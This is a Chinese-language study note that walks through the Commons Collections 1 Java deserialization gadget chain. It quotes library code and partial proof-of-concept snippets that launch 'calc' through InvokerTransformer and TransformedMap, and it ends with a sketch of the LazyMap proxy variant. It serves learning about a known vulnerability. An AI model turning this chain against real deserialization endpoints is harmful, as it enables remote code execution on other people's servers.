前情摘要
反序列化漏洞出现的前提条件是什么?
我们首先需要一个入口点,这个入口要能序列化,也就算实现了序列化接口,其次,接收任意对象为参数还有就是重写readObject方法,而重写的readObject里面可能又调用了其他的方法,其他方法可能有危险,这样我们才能控制想要执行的方法。漏洞常依赖第三方库的已知Gadget Chain(漏洞触发链,这个调用那个,那个又调用那个...)
cc1链的前置条件是什么?
CommonsCollections的版本小于3.2.1
jdk版本也不能太高,这里我用的是jdk8u65
前置知识
首先我们需要知道CommonsCollections1链子中几个重要的类内容,他们分别是ConstantTransformer invokerTransformer ChainedTransformer TransformedMap
invokerTransformer
可以看到图中这个类有一个transform方法,接收传入的参数,通过反射去执行方法,其中this的参数都是通过构造方法传入。那么这个地方就是可以作为我们的危害点,最终点,然后我们需要去向上找,看谁在调用这里
ConstantTransformer
这个类下有这样的方法
return this.iConstant;
}
传入什么object就返回什么
ChainedTransformer
可以看到这个类的transform方法,先接收一个object,然后处理完后的object又交给下一个iTransformers进行处理,也就是说前一个输出作为后一个输入
零碎的分析
知道InvokerTransformer的transform方法如何使用之后,可以尝试一下命令执行,在idea中直接测以下代码我们可以发现,可以弹出计算器来
Runtime r =Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
我们现在已经能够通过这个方法进行命令执行,现在需要找到谁调用了这个方法
于是我们找到两个地方比较有希望的,一个是lazymap,一个是TransformedMap。其实cc1链是有两条链的,也就是在这里出现了分叉。
这里只探讨transformedmap这条,大差不差
以下代码都出现在TransformedMap类下
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
我们继续找谁调用了checkSetValue,发现是TransformedMap的父类AbstractInputCheckedMapDecorator,以下是其中的代码
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
到这里为止,我们的exp是这样
Runtime r =Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("aaa","bbb");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
在进行setvalue的时候,因为TransformedMap类没有这个方法,于是会找他的父类AbstractInputCheckedMapDecorator有setValue方法,在执行的时候会执行checkSetValue方法,从而又回到了我们transform方法进行反射rce
这里只是暂时演示,我们现在的任务是如何去触发setValue,也就是说我们继续找哪里执行了setValue,然后我们一顿找,找到sun>reflect>annotation>AnnotationInvocationHandler类,很巧合的是,这里重写了readObject方法,并且调用了setValue方法,到这里整条链就差不多了。具体exp怎么写,我有空再研究研究。
回顾一下整条链
// 反序列化利用链调用流程
AnnotationInvocationHandler.readObject()
→ AbstractInputCheckedMapDecorator$MapEntry.setValue()
→ TransformedMap.checkSetValue()
→ ChainedTransformer.transform()
→ InvokerTransformer.transform()
→ Method.invoke("Runtime.exec()", "calc")
后记(有关lazymap)
lazymap和transformmap的区别,一个是在AnnotationInvocationHandler的invoke方法中触发利用链(于是构造poc就会用到动态代理),一个是在readobject中触发。
AnnotationInvocationHandler默认实现了InvocationHandler接口,在用Object iswin=Proxy.newInstance(classloader,interface,InvocationHandler)生成动态代理后,当对象iswin在进行对象调用时,那么就会调用InvocationHandler.invoke(xx)方法,所以POC的执行流程为map.xx->proxy(Map).invoke->lazymap.get(xx) 就会触发transform方法从而执行恶意代码。